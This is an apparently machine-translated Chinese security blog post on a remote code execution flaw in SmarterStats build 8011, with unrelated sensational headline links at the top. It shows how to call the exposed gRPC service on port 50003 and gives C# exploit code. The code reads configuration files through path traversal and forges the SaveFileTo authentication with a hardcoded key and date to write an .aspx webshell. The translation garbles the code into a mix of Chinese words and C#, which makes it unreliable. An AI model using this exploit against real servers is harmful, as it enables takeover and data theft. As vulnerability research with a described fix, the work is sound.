人民日报林治波社长发出灵魂拷问:你们是没有常识,还是没有良知?

惨烈的高峰防御战—“圣元春战役”打响!

母子乱伦:和儿子做了,我该怎么办?

一定在信仰的指导下抗击疫情《马克思主义信仰:战胜新冠肺炎疫情的内生力量》

2021年推特网黄Top10排行榜

生成图片,分享到微信朋友圈

自由微信安卓APP发布,立即下载! | 提交文章网址
查看原文

SmarterStat 基于 gRPC 的 RCE

Y4er LemonSec 2022-12-05

环境

2016 8011版本,下载地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe

安装可以看官方的文档https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx


分析

SSSvc.exe运行在50003端口上,默认监听0.0.0.0

拉到dnspy中看一下

main函数启动了一个SSCollect服务类。

服务类调用了ServiceWorker.StartService()

新一个处理函数ServiceLifetimeFunction

这里调了ServiceWorker.Start()

启动中调用GrpcManager.StartGrpc()开启监听gRPC。

继续看gRPC,在StartGrpc中,定义了四个服务


分别对应

  1. 查询 -> QueryServiceImplementation

  2. 站点列表 -> 站点列表服务实现

  3. ServiceOperations -> ServiceOperationsServiceImplementation

  4. 站点控制 -> 站点控制服务实现

并且端口绑定在0.0.0.0:50003上

顺便点开一个服务来看看 QueryServiceImplementation


服务运营服务实施


能看到grpc的远程调用函数实现。

先来试一下调用。创建一个csharp的grpc项目,可以直接用gRPC的example项目

Query.BindService(new QueryServiceImplementation()).Intercept(interceptor)的Query类中,给了我们rpc客户端的工具类


把这个代码dll加入引用中,然后如下。


这样就调用到了SStatSvc.Communication.QueryServiceImplementation.GetAvailableQueries(GetAvailableQueriesRequest, ServerCallContext)

下一个就是简单的寻找漏洞点了。

SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite(GetExportedLogsForSiteRequest, IServerStreamWriter<GetExportedLogsForSiteResponse>, ServerCallContext)任意读取文件

这里需要关闭 dnspy 的编译优化查看具体逻辑


SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo(SaveFileToRequest, ServerCallContext)

可选写入文件


加密密钥编码硬件,没用。


经验

使用 Grpc.Core 使用 系统使用 System.Collections.Generic 使用 System.Linq 使用 System.Text 使用 System.Threading.Tasks 使用 SmarterStats.Config.Protos 使用 Google.Protobuf.WellKnownTypes 使用 SmarterStats.Config.Utility 使用 System.IO 使用 Google.Protobuf namespace Routeguide {
class Program
{
static async Task < int > Main ( string [] args )
{
var channel = new Channel ( "172.16.16.132:50003" , ChannelCredentials . Insecure );
服务运营ServiceOperationsClient 客户端 = 新的 ServiceOperations ServiceOperationsClient 通道);
GetExportedLogsForSiteRequest 请求 = 新的 GetExportedLogsForSiteRequest ();
请求FileToDownload = @"..\..\MRS\App_Data\Config\AppConfig.xml" ;
AsyncServerStreamingCall < GetExportedLogsForSiteResponse > asyncServerStreamingCall = 客户端GetExportedLogsForSite (请求);
等待 asyncServerStreamingCall。ResponseStream。MoveNext ()){控制台_ _ WriteLine ( asyncServerStreamingCall .

响应流当前. 数据ToStringUtf8 ());
}
SaveFileToRequest saveFileToRequest = new SaveFileToRequest ();
保存文件到请求文件名 = @"C:\Program Files (x86)\SmarterTools\SmarterStats\MRS\test.aspx" ;
CryptographyHelper cryptographyHelper = 新的 CryptographyHelper ( 0 );
时间戳 时间戳 = 时间戳FromDateTime (日期时间. UtcNow );
保存文件到请求创建日期 = 时间戳
保存文件到请求LastWriteDate = 时间戳
密码学助手SetKey ( saveFileToRequest . CreationDate . ToDateTime (). ToString ( "MMddyyyy" ) + " ksghsfkgjh" , null );
字符串 auth = cryptographyHelper EncodeToBase64 ( saveFileToRequest .文件名);
保存文件到请求身份验证 = 身份验证
保存文件到请求文件数据 = 字节串. CopyFromUtf8 文件。ReadAllText @“1.txt” ))客户端。SaveFileTo ( saveFileToRequest ); 控制台。WriteLine ( "写完。" ); 控制台。读键();返回0 ; } } }






修复

GetExportedLogsForSite文件并读取截取了文件名加了鉴权

SaveFileTo 文件写入限制了后缀白并且正则限制了路径


想念

SmarterStats中为gRPC提供了一个ServiceOperations.ServiceOperationsClient类方便客户端调用,如果没有这个类我们应该怎么构造rpc协议?

wireshark抓包可以看到grpc的请求结构,包括uri、ua、params等,这个东西等我学了后来吧。


参考

  1. https://frycos.github.io/vulns4free/2022/06/17/yet-another-rpc-framework.html


来源:先知(https://xz.aliyun.com/t/11475#toc-0)


侵权请私聊公众号删文


 热文推荐  


欢迎关注LemonSec
觉得不错点个“赞”、“在看“

文章有问题?点此查看未经处理的缓存